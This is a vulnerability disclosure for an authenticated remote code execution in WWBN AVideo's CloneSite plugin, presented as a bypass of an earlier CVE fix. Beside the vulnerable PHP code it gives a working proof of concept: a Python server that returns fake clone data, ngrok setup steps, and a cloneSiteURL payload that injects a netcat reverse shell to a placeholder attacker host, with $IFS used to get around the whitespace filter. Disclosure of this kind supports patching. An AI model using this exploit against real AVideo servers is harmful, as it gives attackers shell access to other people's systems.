Summary
WWBN AVideo command injection vulnerability
Details
WWBN AVideo Authenticated RCE
A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3
Vulnerable Code
/plugin/CloneSite/cloneClient.json.php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));
// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
The $objClone->cloneSiteURL is not properly sanitized.
Exploit Proof-of-Concept
avidexploit.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
Run in command line
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE
